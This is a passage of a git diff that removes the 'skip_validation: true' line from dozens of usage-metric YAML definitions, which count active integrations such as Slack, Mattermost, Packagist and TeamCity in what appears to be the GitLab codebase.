diff --git a/config/metrics/counts_all/20210216175957_templates_mattermost_active.yml b/config/metrics/counts_all/20210216175957_templates_mattermost_active.yml
index e78f17d0547..f1ec412d47c 100644
--- a/config/metrics/counts_all/20210216175957_templates_mattermost_active.yml
+++ b/config/metrics/counts_all/20210216175957_templates_mattermost_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175959_instances_mattermost_active.yml b/config/metrics/counts_all/20210216175959_instances_mattermost_active.yml
index 8bf633cb085..8d1bab49e61 100644
--- a/config/metrics/counts_all/20210216175959_instances_mattermost_active.yml
+++ b/config/metrics/counts_all/20210216175959_instances_mattermost_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180001_projects_inheriting_mattermost_active.yml b/config/metrics/counts_all/20210216180001_projects_inheriting_mattermost_active.yml
index bca2354131d..64dcfaa0d8d 100644
--- a/config/metrics/counts_all/20210216180001_projects_inheriting_mattermost_active.yml
+++ b/config/metrics/counts_all/20210216180001_projects_inheriting_mattermost_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180003_groups_inheriting_mattermost_active.yml b/config/metrics/counts_all/20210216180003_groups_inheriting_mattermost_active.yml
index df15e6db792..b6d52295217 100644
--- a/config/metrics/counts_all/20210216180003_groups_inheriting_mattermost_active.yml
+++ b/config/metrics/counts_all/20210216180003_groups_inheriting_mattermost_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180005_projects_mattermost_slash_commands_active.yml b/config/metrics/counts_all/20210216180005_projects_mattermost_slash_commands_active.yml
index e0956199e13..5174090a00f 100644
--- a/config/metrics/counts_all/20210216180005_projects_mattermost_slash_commands_active.yml
+++ b/config/metrics/counts_all/20210216180005_projects_mattermost_slash_commands_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180006_groups_mattermost_slash_commands_active.yml b/config/metrics/counts_all/20210216180006_groups_mattermost_slash_commands_active.yml
index c5f7385d1b8..f7d2e6d99bc 100644
--- a/config/metrics/counts_all/20210216180006_groups_mattermost_slash_commands_active.yml
+++ b/config/metrics/counts_all/20210216180006_groups_mattermost_slash_commands_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180008_templates_mattermost_slash_commands_active.yml b/config/metrics/counts_all/20210216180008_templates_mattermost_slash_commands_active.yml
index 504e9d39ee6..375908862a6 100644
--- a/config/metrics/counts_all/20210216180008_templates_mattermost_slash_commands_active.yml
+++ b/config/metrics/counts_all/20210216180008_templates_mattermost_slash_commands_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180010_instances_mattermost_slash_commands_active.yml b/config/metrics/counts_all/20210216180010_instances_mattermost_slash_commands_active.yml
index 2ccd3bfecc4..f0cb0cd24f9 100644
--- a/config/metrics/counts_all/20210216180010_instances_mattermost_slash_commands_active.yml
+++ b/config/metrics/counts_all/20210216180010_instances_mattermost_slash_commands_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180012_projects_inheriting_mattermost_slash_commands_active.yml b/config/metrics/counts_all/20210216180012_projects_inheriting_mattermost_slash_commands_active.yml
index 271614cff68..b79a39c6c13 100644
--- a/config/metrics/counts_all/20210216180012_projects_inheriting_mattermost_slash_commands_active.yml
+++ b/config/metrics/counts_all/20210216180012_projects_inheriting_mattermost_slash_commands_active.yml
@@ -17,4 +17,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180014_groups_inheriting_mattermost_slash_commands_active.yml b/config/metrics/counts_all/20210216180014_groups_inheriting_mattermost_slash_commands_active.yml
index df3b7e0175f..f9f9a438ad2 100644
--- a/config/metrics/counts_all/20210216180014_groups_inheriting_mattermost_slash_commands_active.yml
+++ b/config/metrics/counts_all/20210216180014_groups_inheriting_mattermost_slash_commands_active.yml
@@ -17,4 +17,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180016_projects_microsoft_teams_active.yml b/config/metrics/counts_all/20210216180016_projects_microsoft_teams_active.yml
index 7f25eb0c4fe..e248d714da4 100644
--- a/config/metrics/counts_all/20210216180016_projects_microsoft_teams_active.yml
+++ b/config/metrics/counts_all/20210216180016_projects_microsoft_teams_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180018_groups_microsoft_teams_active.yml b/config/metrics/counts_all/20210216180018_groups_microsoft_teams_active.yml
index 5f23d34dadd..6d53d5675ed 100644
--- a/config/metrics/counts_all/20210216180018_groups_microsoft_teams_active.yml
+++ b/config/metrics/counts_all/20210216180018_groups_microsoft_teams_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180019_templates_microsoft_teams_active.yml b/config/metrics/counts_all/20210216180019_templates_microsoft_teams_active.yml
index fc5b0a2fbbe..bde0e661245 100644
--- a/config/metrics/counts_all/20210216180019_templates_microsoft_teams_active.yml
+++ b/config/metrics/counts_all/20210216180019_templates_microsoft_teams_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180021_instances_microsoft_teams_active.yml b/config/metrics/counts_all/20210216180021_instances_microsoft_teams_active.yml
index 840e4c21ebb..eff81283775 100644
--- a/config/metrics/counts_all/20210216180021_instances_microsoft_teams_active.yml
+++ b/config/metrics/counts_all/20210216180021_instances_microsoft_teams_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180023_projects_inheriting_microsoft_teams_active.yml b/config/metrics/counts_all/20210216180023_projects_inheriting_microsoft_teams_active.yml
index 52ee7de311b..ac3c4bad7c0 100644
--- a/config/metrics/counts_all/20210216180023_projects_inheriting_microsoft_teams_active.yml
+++ b/config/metrics/counts_all/20210216180023_projects_inheriting_microsoft_teams_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180025_groups_inheriting_microsoft_teams_active.yml b/config/metrics/counts_all/20210216180025_groups_inheriting_microsoft_teams_active.yml
index 9f91b7119e1..6a39f71d40b 100644
--- a/config/metrics/counts_all/20210216180025_groups_inheriting_microsoft_teams_active.yml
+++ b/config/metrics/counts_all/20210216180025_groups_inheriting_microsoft_teams_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180027_projects_packagist_active.yml b/config/metrics/counts_all/20210216180027_projects_packagist_active.yml
index 80ed0d39f9f..108c883b16a 100644
--- a/config/metrics/counts_all/20210216180027_projects_packagist_active.yml
+++ b/config/metrics/counts_all/20210216180027_projects_packagist_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180029_groups_packagist_active.yml b/config/metrics/counts_all/20210216180029_groups_packagist_active.yml
index 464d1b4faed..635b98063b6 100644
--- a/config/metrics/counts_all/20210216180029_groups_packagist_active.yml
+++ b/config/metrics/counts_all/20210216180029_groups_packagist_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180030_templates_packagist_active.yml b/config/metrics/counts_all/20210216180030_templates_packagist_active.yml
index a9b8fee8b7a..80c06a4666d 100644
--- a/config/metrics/counts_all/20210216180030_templates_packagist_active.yml
+++ b/config/metrics/counts_all/20210216180030_templates_packagist_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180032_instances_packagist_active.yml b/config/metrics/counts_all/20210216180032_instances_packagist_active.yml
index e651adc3e37..15fc1ebef92 100644
--- a/config/metrics/counts_all/20210216180032_instances_packagist_active.yml
+++ b/config/metrics/counts_all/20210216180032_instances_packagist_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180034_projects_inheriting_packagist_active.yml b/config/metrics/counts_all/20210216180034_projects_inheriting_packagist_active.yml
index 0e9ccdbb907..6bb67500dd8 100644
--- a/config/metrics/counts_all/20210216180034_projects_inheriting_packagist_active.yml
+++ b/config/metrics/counts_all/20210216180034_projects_inheriting_packagist_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180036_groups_inheriting_packagist_active.yml b/config/metrics/counts_all/20210216180036_groups_inheriting_packagist_active.yml
index bd1a7750028..c47f2e3d363 100644
--- a/config/metrics/counts_all/20210216180036_groups_inheriting_packagist_active.yml
+++ b/config/metrics/counts_all/20210216180036_groups_inheriting_packagist_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180038_projects_pipelines_email_active.yml b/config/metrics/counts_all/20210216180038_projects_pipelines_email_active.yml
index 98cd4f28a6c..6f358cd4945 100644
--- a/config/metrics/counts_all/20210216180038_projects_pipelines_email_active.yml
+++ b/config/metrics/counts_all/20210216180038_projects_pipelines_email_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180040_groups_pipelines_email_active.yml b/config/metrics/counts_all/20210216180040_groups_pipelines_email_active.yml
index e781c6a743e..be9042317fc 100644
--- a/config/metrics/counts_all/20210216180040_groups_pipelines_email_active.yml
+++ b/config/metrics/counts_all/20210216180040_groups_pipelines_email_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180041_templates_pipelines_email_active.yml b/config/metrics/counts_all/20210216180041_templates_pipelines_email_active.yml
index 982e0fe8b37..84fe24687e2 100644
--- a/config/metrics/counts_all/20210216180041_templates_pipelines_email_active.yml
+++ b/config/metrics/counts_all/20210216180041_templates_pipelines_email_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180043_instances_pipelines_email_active.yml b/config/metrics/counts_all/20210216180043_instances_pipelines_email_active.yml
index 86640daf752..8206ba25598 100644
--- a/config/metrics/counts_all/20210216180043_instances_pipelines_email_active.yml
+++ b/config/metrics/counts_all/20210216180043_instances_pipelines_email_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180045_projects_inheriting_pipelines_email_active.yml b/config/metrics/counts_all/20210216180045_projects_inheriting_pipelines_email_active.yml
index 42f4638f79e..ff16dcbe7ce 100644
--- a/config/metrics/counts_all/20210216180045_projects_inheriting_pipelines_email_active.yml
+++ b/config/metrics/counts_all/20210216180045_projects_inheriting_pipelines_email_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180047_groups_inheriting_pipelines_email_active.yml b/config/metrics/counts_all/20210216180047_groups_inheriting_pipelines_email_active.yml
index c1c05c29637..d16cccfe6d8 100644
--- a/config/metrics/counts_all/20210216180047_groups_inheriting_pipelines_email_active.yml
+++ b/config/metrics/counts_all/20210216180047_groups_inheriting_pipelines_email_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180049_projects_pivotaltracker_active.yml b/config/metrics/counts_all/20210216180049_projects_pivotaltracker_active.yml
index cc55d603e97..12d1ce1de38 100644
--- a/config/metrics/counts_all/20210216180049_projects_pivotaltracker_active.yml
+++ b/config/metrics/counts_all/20210216180049_projects_pivotaltracker_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180051_groups_pivotaltracker_active.yml b/config/metrics/counts_all/20210216180051_groups_pivotaltracker_active.yml
index 170951d9295..a52c3edc339 100644
--- a/config/metrics/counts_all/20210216180051_groups_pivotaltracker_active.yml
+++ b/config/metrics/counts_all/20210216180051_groups_pivotaltracker_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180052_templates_pivotaltracker_active.yml b/config/metrics/counts_all/20210216180052_templates_pivotaltracker_active.yml
index 9786b72a10f..eae2d8b2822 100644
--- a/config/metrics/counts_all/20210216180052_templates_pivotaltracker_active.yml
+++ b/config/metrics/counts_all/20210216180052_templates_pivotaltracker_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180054_instances_pivotaltracker_active.yml b/config/metrics/counts_all/20210216180054_instances_pivotaltracker_active.yml
index 6988d6ebdd4..eade998165c 100644
--- a/config/metrics/counts_all/20210216180054_instances_pivotaltracker_active.yml
+++ b/config/metrics/counts_all/20210216180054_instances_pivotaltracker_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180056_projects_inheriting_pivotaltracker_active.yml b/config/metrics/counts_all/20210216180056_projects_inheriting_pivotaltracker_active.yml
index 8bd473a7615..5d6f67a94b7 100644
--- a/config/metrics/counts_all/20210216180056_projects_inheriting_pivotaltracker_active.yml
+++ b/config/metrics/counts_all/20210216180056_projects_inheriting_pivotaltracker_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180058_groups_inheriting_pivotaltracker_active.yml b/config/metrics/counts_all/20210216180058_groups_inheriting_pivotaltracker_active.yml
index 682ae485610..8377d603000 100644
--- a/config/metrics/counts_all/20210216180058_groups_inheriting_pivotaltracker_active.yml
+++ b/config/metrics/counts_all/20210216180058_groups_inheriting_pivotaltracker_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180100_projects_pushover_active.yml b/config/metrics/counts_all/20210216180100_projects_pushover_active.yml
index 89584d140db..fb9a2146ebc 100644
--- a/config/metrics/counts_all/20210216180100_projects_pushover_active.yml
+++ b/config/metrics/counts_all/20210216180100_projects_pushover_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180102_groups_pushover_active.yml b/config/metrics/counts_all/20210216180102_groups_pushover_active.yml
index d5502041537..0cf7c1bd572 100644
--- a/config/metrics/counts_all/20210216180102_groups_pushover_active.yml
+++ b/config/metrics/counts_all/20210216180102_groups_pushover_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180104_templates_pushover_active.yml b/config/metrics/counts_all/20210216180104_templates_pushover_active.yml
index 598129d3ef6..fdee417531f 100644
--- a/config/metrics/counts_all/20210216180104_templates_pushover_active.yml
+++ b/config/metrics/counts_all/20210216180104_templates_pushover_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180105_instances_pushover_active.yml b/config/metrics/counts_all/20210216180105_instances_pushover_active.yml
index 105fd4ff93a..bde6cf54e35 100644
--- a/config/metrics/counts_all/20210216180105_instances_pushover_active.yml
+++ b/config/metrics/counts_all/20210216180105_instances_pushover_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180107_projects_inheriting_pushover_active.yml b/config/metrics/counts_all/20210216180107_projects_inheriting_pushover_active.yml
index 40b3e92c29e..44856dfe647 100644
--- a/config/metrics/counts_all/20210216180107_projects_inheriting_pushover_active.yml
+++ b/config/metrics/counts_all/20210216180107_projects_inheriting_pushover_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180109_groups_inheriting_pushover_active.yml b/config/metrics/counts_all/20210216180109_groups_inheriting_pushover_active.yml
index f99265b4c85..8e1ff124e43 100644
--- a/config/metrics/counts_all/20210216180109_groups_inheriting_pushover_active.yml
+++ b/config/metrics/counts_all/20210216180109_groups_inheriting_pushover_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180111_projects_redmine_active.yml b/config/metrics/counts_all/20210216180111_projects_redmine_active.yml
index d2b34fd0143..228827a60c6 100644
--- a/config/metrics/counts_all/20210216180111_projects_redmine_active.yml
+++ b/config/metrics/counts_all/20210216180111_projects_redmine_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180113_groups_redmine_active.yml b/config/metrics/counts_all/20210216180113_groups_redmine_active.yml
index a3e68fd6d1a..10de4fb9743 100644
--- a/config/metrics/counts_all/20210216180113_groups_redmine_active.yml
+++ b/config/metrics/counts_all/20210216180113_groups_redmine_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180115_templates_redmine_active.yml b/config/metrics/counts_all/20210216180115_templates_redmine_active.yml
index b0000ba32df..89efedbc7fc 100644
--- a/config/metrics/counts_all/20210216180115_templates_redmine_active.yml
+++ b/config/metrics/counts_all/20210216180115_templates_redmine_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180116_instances_redmine_active.yml b/config/metrics/counts_all/20210216180116_instances_redmine_active.yml
index c3c0012e205..a10db3fa2ad 100644
--- a/config/metrics/counts_all/20210216180116_instances_redmine_active.yml
+++ b/config/metrics/counts_all/20210216180116_instances_redmine_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180118_projects_inheriting_redmine_active.yml b/config/metrics/counts_all/20210216180118_projects_inheriting_redmine_active.yml
index 85ecfafcc70..6809afa4d4a 100644
--- a/config/metrics/counts_all/20210216180118_projects_inheriting_redmine_active.yml
+++ b/config/metrics/counts_all/20210216180118_projects_inheriting_redmine_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180120_groups_inheriting_redmine_active.yml b/config/metrics/counts_all/20210216180120_groups_inheriting_redmine_active.yml
index a929408e5da..9ae0bc0bfd7 100644
--- a/config/metrics/counts_all/20210216180120_groups_inheriting_redmine_active.yml
+++ b/config/metrics/counts_all/20210216180120_groups_inheriting_redmine_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180122_projects_slack_active.yml b/config/metrics/counts_all/20210216180122_projects_slack_active.yml
index 2b6b06e97d9..3a5bec84a58 100644
--- a/config/metrics/counts_all/20210216180122_projects_slack_active.yml
+++ b/config/metrics/counts_all/20210216180122_projects_slack_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180124_groups_slack_active.yml b/config/metrics/counts_all/20210216180124_groups_slack_active.yml
index 60175f2861f..c63632dd59b 100644
--- a/config/metrics/counts_all/20210216180124_groups_slack_active.yml
+++ b/config/metrics/counts_all/20210216180124_groups_slack_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180126_templates_slack_active.yml b/config/metrics/counts_all/20210216180126_templates_slack_active.yml
index 3fe78e3b847..0bee63532a4 100644
--- a/config/metrics/counts_all/20210216180126_templates_slack_active.yml
+++ b/config/metrics/counts_all/20210216180126_templates_slack_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180127_instances_slack_active.yml b/config/metrics/counts_all/20210216180127_instances_slack_active.yml
index cb98faf7494..3a74a68251d 100644
--- a/config/metrics/counts_all/20210216180127_instances_slack_active.yml
+++ b/config/metrics/counts_all/20210216180127_instances_slack_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180129_projects_inheriting_slack_active.yml b/config/metrics/counts_all/20210216180129_projects_inheriting_slack_active.yml
index 4f5613fb904..304d780314f 100644
--- a/config/metrics/counts_all/20210216180129_projects_inheriting_slack_active.yml
+++ b/config/metrics/counts_all/20210216180129_projects_inheriting_slack_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180131_groups_inheriting_slack_active.yml b/config/metrics/counts_all/20210216180131_groups_inheriting_slack_active.yml
index 780104bd60e..ebb7b88d10b 100644
--- a/config/metrics/counts_all/20210216180131_groups_inheriting_slack_active.yml
+++ b/config/metrics/counts_all/20210216180131_groups_inheriting_slack_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180133_projects_slack_slash_commands_active.yml b/config/metrics/counts_all/20210216180133_projects_slack_slash_commands_active.yml
index e2ae91c83ce..06c45e12040 100644
--- a/config/metrics/counts_all/20210216180133_projects_slack_slash_commands_active.yml
+++ b/config/metrics/counts_all/20210216180133_projects_slack_slash_commands_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180135_groups_slack_slash_commands_active.yml b/config/metrics/counts_all/20210216180135_groups_slack_slash_commands_active.yml
index 0850c45bcc1..e277c4b7d41 100644
--- a/config/metrics/counts_all/20210216180135_groups_slack_slash_commands_active.yml
+++ b/config/metrics/counts_all/20210216180135_groups_slack_slash_commands_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180137_templates_slack_slash_commands_active.yml b/config/metrics/counts_all/20210216180137_templates_slack_slash_commands_active.yml
index b68cee5b004..3751024afdd 100644
--- a/config/metrics/counts_all/20210216180137_templates_slack_slash_commands_active.yml
+++ b/config/metrics/counts_all/20210216180137_templates_slack_slash_commands_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180138_instances_slack_slash_commands_active.yml b/config/metrics/counts_all/20210216180138_instances_slack_slash_commands_active.yml
index c629bbe7b81..69717f5a917 100644
--- a/config/metrics/counts_all/20210216180138_instances_slack_slash_commands_active.yml
+++ b/config/metrics/counts_all/20210216180138_instances_slack_slash_commands_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180140_projects_inheriting_slack_slash_commands_active.yml b/config/metrics/counts_all/20210216180140_projects_inheriting_slack_slash_commands_active.yml
index 5fbba405579..20bd18be435 100644
--- a/config/metrics/counts_all/20210216180140_projects_inheriting_slack_slash_commands_active.yml
+++ b/config/metrics/counts_all/20210216180140_projects_inheriting_slack_slash_commands_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180142_groups_inheriting_slack_slash_commands_active.yml b/config/metrics/counts_all/20210216180142_groups_inheriting_slack_slash_commands_active.yml
index 96cc7b0bcaa..6dc9498c679 100644
--- a/config/metrics/counts_all/20210216180142_groups_inheriting_slack_slash_commands_active.yml
+++ b/config/metrics/counts_all/20210216180142_groups_inheriting_slack_slash_commands_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180144_projects_teamcity_active.yml b/config/metrics/counts_all/20210216180144_projects_teamcity_active.yml
index 482360e0c87..2011d5cd7cc 100644
--- a/config/metrics/counts_all/20210216180144_projects_teamcity_active.yml
+++ b/config/metrics/counts_all/20210216180144_projects_teamcity_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180146_groups_teamcity_active.yml b/config/metrics/counts_all/20210216180146_groups_teamcity_active.yml
index efaf3b72f08..2a12be8c9c5 100644
--- a/config/metrics/counts_all/20210216180146_groups_teamcity_active.yml
+++ b/config/metrics/counts_all/20210216180146_groups_teamcity_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180148_templates_teamcity_active.yml b/config/metrics/counts_all/20210216180148_templates_teamcity_active.yml
index 8fe6f5997f3..528873a7139 100644
--- a/config/metrics/counts_all/20210216180148_templates_teamcity_active.yml
+++ b/config/metrics/counts_all/20210216180148_templates_teamcity_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180149_instances_teamcity_active.yml b/config/metrics/counts_all/20210216180149_instances_teamcity_active.yml
index 52f6d89497d..13beb25b4f7 100644
--- a/config/metrics/counts_all/20210216180149_instances_teamcity_active.yml
+++ b/config/metrics/counts_all/20210216180149_instances_teamcity_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180151_projects_inheriting_teamcity_active.yml b/config/metrics/counts_all/20210216180151_projects_inheriting_teamcity_active.yml
index e8ea1ffb556..0e3b2af2e45 100644
--- a/config/metrics/counts_all/20210216180151_projects_inheriting_teamcity_active.yml
+++ b/config/metrics/counts_all/20210216180151_projects_inheriting_teamcity_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180153_groups_inheriting_teamcity_active.yml b/config/metrics/counts_all/20210216180153_groups_inheriting_teamcity_active.yml
index 4656bda6da0..026d6a2789c 100644
--- a/config/metrics/counts_all/20210216180153_groups_inheriting_teamcity_active.yml
+++ b/config/metrics/counts_all/20210216180153_groups_inheriting_teamcity_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180155_projects_unify_circuit_active.yml b/config/metrics/counts_all/20210216180155_projects_unify_circuit_active.yml
index 4d783cd061f..4d1d728ef32 100644
--- a/config/metrics/counts_all/20210216180155_projects_unify_circuit_active.yml
+++ b/config/metrics/counts_all/20210216180155_projects_unify_circuit_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180157_groups_unify_circuit_active.yml b/config/metrics/counts_all/20210216180157_groups_unify_circuit_active.yml
index 074ab951200..d926c2f81d5 100644
--- a/config/metrics/counts_all/20210216180157_groups_unify_circuit_active.yml
+++ b/config/metrics/counts_all/20210216180157_groups_unify_circuit_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180159_templates_unify_circuit_active.yml b/config/metrics/counts_all/20210216180159_templates_unify_circuit_active.yml
index 99f54dfa276..a96ab7ff256 100644
--- a/config/metrics/counts_all/20210216180159_templates_unify_circuit_active.yml
+++ b/config/metrics/counts_all/20210216180159_templates_unify_circuit_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180201_instances_unify_circuit_active.yml b/config/metrics/counts_all/20210216180201_instances_unify_circuit_active.yml
index 0ca2893868c..1fc4f19b77f 100644
--- a/config/metrics/counts_all/20210216180201_instances_unify_circuit_active.yml
+++ b/config/metrics/counts_all/20210216180201_instances_unify_circuit_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180203_projects_inheriting_unify_circuit_active.yml b/config/metrics/counts_all/20210216180203_projects_inheriting_unify_circuit_active.yml
index 30172dcac3f..6af475ee5b0 100644
--- a/config/metrics/counts_all/20210216180203_projects_inheriting_unify_circuit_active.yml
+++ b/config/metrics/counts_all/20210216180203_projects_inheriting_unify_circuit_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180204_groups_inheriting_unify_circuit_active.yml b/config/metrics/counts_all/20210216180204_groups_inheriting_unify_circuit_active.yml
index 4334a352566..01e4782ec20 100644
--- a/config/metrics/counts_all/20210216180204_groups_inheriting_unify_circuit_active.yml
+++ b/config/metrics/counts_all/20210216180204_groups_inheriting_unify_circuit_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180206_projects_webex_teams_active.yml b/config/metrics/counts_all/20210216180206_projects_webex_teams_active.yml
index 7590bf98d81..c8624623371 100644
--- a/config/metrics/counts_all/20210216180206_projects_webex_teams_active.yml
+++ b/config/metrics/counts_all/20210216180206_projects_webex_teams_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
